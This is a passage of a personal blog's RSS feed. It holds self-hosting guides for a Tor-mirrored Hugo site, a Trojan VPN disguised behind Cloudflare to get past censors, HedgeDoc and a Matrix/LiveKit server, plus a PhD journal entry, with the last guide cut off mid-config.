  • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
  • +
  • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
    +
  • +
  • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
  • +
  • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
  • +
  • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
  • +
  • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
  • +
+
+

7) “Not secure” in Tor Browser?

+

That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

+
+

8) Day-to-day workflow

+
    +
  • Create content: +
    hugo new posts/my-first-post.md  # then set draft: false
    +
  • +
  • Publish both: +
    build-both
    +
  • +
  • (Optional) Auto on save: +
    find content layouts assets static config -type f | entr -r build-both
    +
  • +
  • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
  • +
+
+

Final notes

+
    +
  • Clearnet gets HTTPS + HSTS and an Onion-Location header.
  • +
  • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
  • +
  • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
  • +
+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
+jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d
+DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4
+6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4
+UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo
+FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm
+slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ
+TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o
+VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/
+OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ
+N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8
+700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM=
+=QlNw
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md
+curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md.asc
+gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md
+  
+
+ + +]]>
Stealth Trojan VPN Behind Cloudflare Guidehttps://blog.alipour.eu/posts/vpn/Tue, 09 Sep 2025 11:05:00 +0200https://blog.alipour.eu/posts/vpn/<h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p>Introduction +

So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
+Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

+

This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

+

We’ll anonymise domains and secrets, so substitute with your own:

+
    +
  • VPN domain: web.example.com
  • +
  • Panel domain: panel.example.com
  • +
  • Secret WS path: /stealth-path_abcd1234
  • +
  • Password: <PASSWORD>
  • +
+
+

Architecture at a Glance

+

Think of it as a disguise party:

+
    +
  • Trojan = the shy guest (your VPN protocol)
  • +
  • Nginx = the bouncer checking IDs (reverse proxy)
  • +
  • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
  • +
  • Your fake website = the mask (camouflage page)
  • +
+

Traffic flow:

+
Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)
+

+

Step 1: Panel Setup (panel.example.com)

+
    +
  • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
  • +
  • Choose a funky web base path like /panel-bananas_42/.
  • +
  • Proxy it through Nginx with HTTPS + Basic Auth.
  • +
  • Test it at https://panel.example.com/panel-bananas_42/.
  • +
+

Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

+
+

Step 2: Trojan Inbound

+

In 3x-ui, create a Trojan inbound:

+
    +
  • Local port: 54321
  • +
  • Transport: WebSocket
  • +
  • Path: /stealth-path_abcd1234
  • +
  • Security: none
  • +
  • Password: <PASSWORD>
  • +
+
+

Step 3: Nginx for VPN Domain (web.example.com)

+

Your Nginx is the gatekeeper. Sample config:

+
server {
+    listen 443 ssl http2;
+    server_name web.example.com;
+
+    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
+    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
+
+    # Fake website at root
+    location / {
+        root /var/www/html;
+        index index.html;
+    }
+
+    # Real VPN under secret WS path
+    location /stealth-path_abcd1234 {
+        proxy_pass http://127.0.0.1:54321;
+        proxy_http_version 1.1;
+        proxy_set_header Upgrade $http_upgrade;
+        proxy_set_header Connection "upgrade";
+        proxy_set_header Host $host;
+    }
+}
+

+

Step 4: Firewall Rules

+

Lock things down! Only Cloudflare should reach you:

+
ufw allow 22/tcp
+ufw allow 80/tcp
+ufw allow 443/tcp
+ufw deny 54321/tcp
+

+

Step 5: Client Config

+

Trojan URI:

+
trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN
+

iOS clients: Shadowrocket, Stash, FoXray
+Android clients: v2rayNG, Clash Meta, NekoBox

+
+

Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

+

Symptom: 520 Unknown Error (Cloudflare)

+
    +
  • Likely cause: Nginx couldn’t talk to Trojan.
  • +
  • Check Nginx error log: +
    tail -n 50 /var/log/nginx/error.log
    +
  • +
  • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
  • +
+
+

Symptom: 526 Invalid SSL certificate

+
    +
  • Cloudflare → Nginx cert mismatch.
  • +
  • Run: +
    openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
    +
  • +
  • Make sure CN = web.example.com. If not, fix your cert.
  • +
+
+

Symptom: Blank page on panel

+
    +
  • Check if the base path matches exactly (case-sensitive, slash-sensitive).
  • +
  • Watch for sneaky trailing spaces!
  • +
  • Test locally: +
    curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
    +
  • +
+
+

Symptom: Client won’t connect

+
    +
  • Run a WebSocket test: +
    curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
    +
    Expect 101 Switching Protocols. If not, check Nginx config.
  • +
+
+

Symptom: Censor still blocks you

+
    +
  • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
    +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
  • +
  • Did you use an obvious path like /ws?
    +→ Use a random-looking one like /cdn-assets-329df/.
  • +
+
+

Pro Tips & Fun Tricks

+
    +
  • Serve a fake blog or portfolio at root so your domain looks legit.
  • +
  • Rotate WebSocket paths occasionally.
  • +
  • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
  • +
  • Make friends with your Nginx error.log — it will roast you but it tells the truth.
  • +
+
+

Conclusion

+

By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

+
    +
  • Looks like normal HTTPS.
  • +
  • Hides your origin IP.
  • +
  • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
  • +
+

Congrats — you’ve built a VPN with both style and stealth. 🥷

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
+jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD
+9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l
+jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O
+S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh
+Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl
+5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt
+QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g
+YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC
+E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md
+d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG
+3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y=
+=IovZ
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md
+curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md.asc
+gpg --verify vpn.md.asc vpn.md
+  
+
+ + +]]>
Augest '25https://blog.alipour.eu/phd_journey/augest_2025/Sun, 31 Aug 2025 07:49:24 +0000https://blog.alipour.eu/phd_journey/augest_2025/<p>This month started with me setting up a deadline for Conext student workshop. +I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. +I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. +This darn thing wasted so much of my time! +I did learn a bit along the way, but oh well. +Such is life!</p>This month started with me setting up a deadline for Conext student workshop. +I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. +I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. +This darn thing wasted so much of my time! +I did learn a bit along the way, but oh well. +Such is life!

+

Overall not the most productive month, but one reason for it is that I have’t really had a real vacation in a long time. +I will be taking a 10 day vacation next month just to reset, and gain back my power. +I cross my fingers for the month ahead!

+

My social life has been becoming better too. +I’ve been trying to attend more ZiS events to meet people, make new connections, and to have fun! +My depression is a serious issue. +I also have anxiety disorder that I’m talking with my therapist about. +I will most likely start taking SSRIs once again. +Idiot me was cutting it when the catasrophe in February happened and did not think twice to keep taking them. +I’m really glad I was able to recover, though it was not easy at all, it did work out.

+

I do think there is bright nice future ahead of me; I just need to keep on trucking and not worry too much. +Things will workout!

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt0ACgkQtYgoUOBM
+jSqiRBAAv6TLJK+7ycaudx3U1GGOdsihVMLEG/AXcj9fJFIWKouz0AXU3xEJl8Ks
+lyF1tiik69ZuDqToAj9buwiIG+fll/nLElWP+DVSpDrHh86tEtQFlf9inf8DYXGK
+3GUhTLyAleNRxSNVe7ZG7SpIN9gk/WYRxbhHQAIVPSWKH+IMTNJuWUtIBXbSEy1K
+SYcl4coVXJwDOPLj+huKrBQoScmUSPYow5KELzQOOLK+HG6M9vXSq3+hDUiWx4MT
+OaEFEU47rit9lEsUzjKNh56WthwBf3sWdLPgCxFfZY6L8Pk7GmOJC/XPB/31RBX1
+VFNy+IqbYPUlafphpT9SuhyLktqKNL9BnK9700dz6w3xI46B8v8d8kmVyoGhzTyi
+rEt3baTm874Jo4PSZjToL7+6VpbvlzFz57G/1WmmX1jSr++L7Cncyz2Oo6H+Bpw9
+Ax2JFZz760sxs978Y2fno5o5rkVKEt+GgLA+WkSb0NCq/r67wEhMR5/i4oBTOHmC
+OWbsxUDTTE7JhPn95LUUb7oji2IxMdLC6RlPPNb+VYlhFbju0IhhArZYqc4vuieC
+5CQIbWuYoPIpvf0XCQHHABJF+zzq6AzJhnIbgGg58sZ/yrYFM8cI6GVxsOy92ADT
+eCzo4ktTpt4YHhw/Fj/eRzzvJzRrtP3+AtIvQjDwKigco7f3wgY=
+=vvS6
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/PhD_journey/Augest_2025.md
+curl -fSLO https://blog.alipour.eu/sources/PhD_journey/Augest_2025.md.asc
+gpg --verify Augest_2025.md.asc Augest_2025.md
+  
+
+ + +]]>
Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypthttps://blog.alipour.eu/posts/hedge_doc/Fri, 29 Aug 2025 00:00:00 +0000https://blog.alipour.eu/posts/hedge_doc/<p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p> +<hr> +<h2 id="prerequisites">Prerequisites</h2> +<ul> +<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li> +<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li> +<li><strong>Nginx</strong> installed for reverse proxying</li> +<li><strong>Certbot</strong> for Let’s Encrypt certificates</li> +</ul> +<hr> +<h2 id="1-create-the-project-directory">1. Create the project directory</h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div> +<hr> +<h2 id="2-create-env">2. Create <code>.env</code></h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword +</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div> +<p>Generate a strong password with:</p>HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.

+
+

Prerequisites

+
    +
  • A Linux server with Docker and Docker Compose
  • +
  • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
  • +
  • Nginx installed for reverse proxying
  • +
  • Certbot for Let’s Encrypt certificates
  • +
+
+

1. Create the project directory

+
mkdir ~/hedgedoc && cd ~/hedgedoc
+
+

2. Create .env

+
POSTGRES_PASSWORD=ChangeThisStrongPassword
+HD_DOMAIN=notes.alipourimjourneys.ir
+

Generate a strong password with:

+
openssl rand -base64 32
+
+

3. Create docker-compose.yml

+
version: "3.9"
+
+services:
+  db:
+    image: postgres:16
+    environment:
+      POSTGRES_USER: hedgedoc
+      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
+      POSTGRES_DB: hedgedoc
+    volumes:
+      - db:/var/lib/postgresql/data
+    restart: unless-stopped
+
+  hedgedoc:
+    image: quay.io/hedgedoc/hedgedoc:1.10.2
+    depends_on:
+      - db
+    environment:
+      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
+      CMD_DOMAIN: ${HD_DOMAIN}
+      CMD_PROTOCOL_USESSL: "true"
+      CMD_URL_ADDPORT: "false"
+      CMD_PORT: "3000"
+      CMD_EMAIL: "true"
+      CMD_ALLOW_EMAIL_REGISTER: "false"
+    volumes:
+      - uploads:/hedgedoc/public/uploads
+    ports:
+      - "127.0.0.1:3000:3000"
+    restart: unless-stopped
+
+volumes:
+  db:
+  uploads:
+

Bring it up:

+
docker compose up -d
+
+

4. Get a Let’s Encrypt certificate

+

Request a cert with a DNS challenge:

+
sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email
+

Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
+Certificates will be in:

+
/etc/letsencrypt/live/notes.alipourimjourneys.ir/
+
+

5. Configure Nginx

+

Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

+
server {
+  server_name notes.alipourimjourneys.ir;
+
+  listen 80;
+  listen [::]:80;
+  return 301 https://$host$request_uri;
+}
+
+server {
+  server_name notes.alipourimjourneys.ir;
+
+  listen 443 ssl http2;
+  listen [::]:443 ssl http2;
+
+  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
+  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
+
+  location / {
+    proxy_pass http://127.0.0.1:3000;
+    proxy_set_header Host $host;
+    proxy_set_header X-Real-IP $remote_addr;
+    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+    proxy_set_header X-Forwarded-Proto https;
+
+    proxy_http_version 1.1;
+    proxy_set_header Upgrade $http_upgrade;
+    proxy_set_header Connection "upgrade";
+  }
+}
+

Enable the config and reload Nginx:

+
sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
+sudo nginx -t && sudo systemctl reload nginx
+
+

6. Create users

+

Because we disabled self-registration, create accounts manually:

+
docker compose exec hedgedoc ./bin/manage_users --add alice@example.com
+

You’ll be prompted for a password.
+To reset a password later:

+
docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com
+
+

7. Done!

+

Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉

+
+

Extras:

+
    +
  • Backups: dump the PostgreSQL database and save the uploads volume.
  • +
  • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
  • +
  • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
  • +
+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
+jSrPHA//WlMEZx1k/aGx3zau+wRrAOq4XlrvC7keBvqMs0PJGhJmT8jnOMh0+26w
+AGav2jBuChLYsDx+O8l18uxcsu9fdrz8r4N4sDOnsndSsg15rTT28P3MNvvUL8ns
+iOc9uEUkxF59rT3OXRI56hH3VX6vzxakdAnW3Afhki2Bl54jur2+6RVtuthGUEV+
+QZ/36QVXLrOAas1bqq3f38m4M2no3ZqVvpj+Alur2Ji/gcGZlSArBnIoJQoK5L+r
+UZLJsQ+LrqCJp4i+GkkX05si2srSTjawBu+ssHf+uwPg0Q6AMTbubrGiHrMMtMbM
+4PCFtS8vD/ZBVkVpSBybyXdMxQU+y9AI1LZ//X4cQWdqgRpinOVENuZ2FeVI6qa/
+sBGHLThq9nZEXmMT2oQa1wi+CaY17z9fYj20F5moOp2Q6pxBGPyHZRV3WAr5xURU
+5B9SwVtNqIzm7eoAbwckU3h+TfIJ4vGulSqPqHvZ/XAdbzCVXaSXBN951oA0No1y
+MyvsIskzKVPvSqndYjxLGiopvOpITgxN5q6a7ubBmxYCrS+SF74jPkDjtc4EFuKB
+QrMTBm/+Xl/VEESYv5Mx7hwYv1dnmJUFrx62FUYmAMaFP2UcMIlJJ5zQCwsDdREk
+aG3wFuWH4d9UFohK+MJIHqYk1+TbZJm3bnds8pOqniIZ7M5PcEg=
+=uf5y
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/hedge_doc.md
+curl -fSLO https://blog.alipour.eu/sources/posts/hedge_doc.md.asc
+gpg --verify hedge_doc.md.asc hedge_doc.md
+  
+
+ + +]]>
Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)https://blog.alipour.eu/posts/matrix_setup/Tue, 26 Aug 2025 00:00:00 +0000https://blog.alipour.eu/posts/matrix_setup/How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. +

TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

+

What I’m building

+
    +
  • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
  • +
  • TURN/STUN (coTURN) for NAT traversal.
  • +
  • Element Call backed by LiveKit, fronted by rtc.example.com.
  • +
  • Nginx (host) as the single reverse proxy for everything.
  • +
  • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
  • +
  • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
  • +
+
+

I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

+
+

Prereqs

+
    +
  • DNS A/AAAA: +
      +
    • matrix.example.com → your server (v4/v6)
    • +
    • rtc.example.com → your server (v4/v6)
    • +
    +
  • +
  • Certificates: +
      +
    • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
    • +
    +
  • +
  • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
  • +
  • UFW / firewall open: +
      +
    • 80/tcp, 443/tcp
    • +
    • 8448/tcp (Matrix federation)
    • +
    • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
    • +
    • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
    • +
    +
  • +
  • Docker + docker compose installed.
  • +
+
+

Synapse + PostgreSQL

+

1) The PostgreSQL collation gotcha

+

Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

+
Database has incorrect collation of 'en_US.utf8'. Should be 'C'
+

Two ways to resolve:

+
    +
  • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
  • +
+
# docker-compose.yml (excerpt for Postgres)
+services:
+  db:
+    image: postgres:16
+    environment:
+      POSTGRES_DB: synapse
+      POSTGRES_USER: synapse
+      POSTGRES_PASSWORD: <strong-password>
+      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
+    volumes:
+      - ./pgdata:/var/lib/postgresql/data
+
+

Requires wiping the volume and recreating the DB.

+
    +
  • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
  • +
+

2) Start Synapse and generate config

+
docker compose up -d db synapse
+# Logs
+docker compose logs --tail=200 synapse
+

Ensure Synapse prints your server_name and public base URL and stays up.

+

3) Create an admin user

+
# Exec into the running Synapse container:
+docker compose exec synapse register_new_matrix_user \
+  -c /data/homeserver.yaml -u <username> -p <password> \
+  -a -k
+
+

If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

+
+

TURN (coTURN)

+

1) Avoid bad inline comments

+

If you see errors like:

+
ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.
+

…it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

+

2) Minimal turnserver.conf

+
listening-port=3478
+tls-listening-port=5349
+fingerprint
+use-auth-secret
+static-auth-secret=<shared-secret>   # also set in Synapse
+realm=example.com                    # used in creds generation
+total-quota=0
+bps-capacity=0
+cli-password=<admin-pass>
+no-cli
+cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
+pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
+# If behind NAT:
+# external-ip=<public-ip>/<internal-ip>
+

3) Wire TURN into Synapse

+

In homeserver.yaml:

+
turn_uris:
+  - "turn:turn.example.com?transport=udp"
+  - "turn:turn.example.com?transport=tcp"
+  - "turns:turn.example.com:5349?transport=tcp"
+turn_shared_secret: "<shared-secret>"
+turn_user_lifetime: "1d"
+

Verify the homeserver issues TURN creds:

+
TOKEN='<your matrix access token>'
+curl -s -H "Authorization: Bearer $TOKEN" \
+  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
+

You should see uris, a time-limited username and password.

+
+

Nginx (host) for Synapse and federation

+

Create /etc/nginx/conf.d/matrix.conf:

+
# Client traffic on 443
+server {
+  listen 443 ssl;  listen [::]:443 ssl;
+  server_name matrix.example.com;
+
+  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
+  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
+
+  # Proxy client & admin APIs to Synapse (container) on 8008
+  location ~ ^(/_matrix|/_synapse/client) {
+    proxy_pass http://127.0.0.1:8008;
+    proxy_set_header X-Forwarded-For $remote_addr;
+    proxy_set_header X-Forwarded-Proto $scheme;
+    proxy_set_header Host $host;
+    client_max_body_size 50M;
+  }
+
+  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
+  location = /.well-known/matrix/client {
+    default_type application/json;
+    add_header Access-Control-Allow-Origin "*" always;
+    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
+  }
+}
+
+# Federation on 8448
+server {
+  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
+  server_name matrix.example.com;
+
+  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
+  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
+
+  location / {
+    proxy_pass http://127.0.0.1:8008;
+    proxy_set_header X-Forwarded-For $remote_addr;
+    proxy_set_header X-Forwarded-Proto $scheme;
+    proxy_set_header Host $host;
+    client_max_body_size 50M;
+  }
+}
+

Reload and sanity check:

+
sudo nginx -t && sudo systemctl reload nginx
+curl -s https://matrix.example.com/.well-known/matrix/client | jq
+

Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

+
curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
+# expect: true
+

+

Element Call + LiveKit

+

I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

+

1) LiveKit config (/etc/livekit.yaml inside container)

+
port: 7880
+bind_addresses: ["0.0.0.0"]
+rtc:
+  tcp_port: 7881
+  port_range_start: 50100
+  port_range_end: 50200
+  use_external_ip: true
+logging:
+  level: info
+turn:
+  enabled: false
+keys:
+  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
+
+

Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

+

2) elementcall_jwt env

+

Run it with:

+
    +
  • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
  • +
  • LIVEKIT_KEY=lk_prod_1
  • +
  • LIVEKIT_SECRET=<the long secret above>
  • +
  • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
  • +
  • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
  • +
+

Check logs on start; it prints the LIVEKIT_URL it will advertise.

+

3) Nginx (host) for rtc.example.com

+

Create /etc/nginx/conf.d/rtc.conf:

+
server {
+  listen 443 ssl;  listen [::]:443 ssl;
+  server_name rtc.example.com;
+
+  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
+  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
+
+  access_log /var/log/nginx/rtc.access.log combined;
+
+  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
+  location = /sfu/get {
+    proxy_hide_header Access-Control-Allow-Origin;
+    add_header Access-Control-Allow-Origin $http_origin always;
+    add_header Vary "Origin" always;
+    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
+    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
+    if ($request_method = OPTIONS) { return 204; }
+
+    proxy_set_header Host $host;
+    proxy_set_header X-Forwarded-Proto $scheme;
+    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
+  }
+
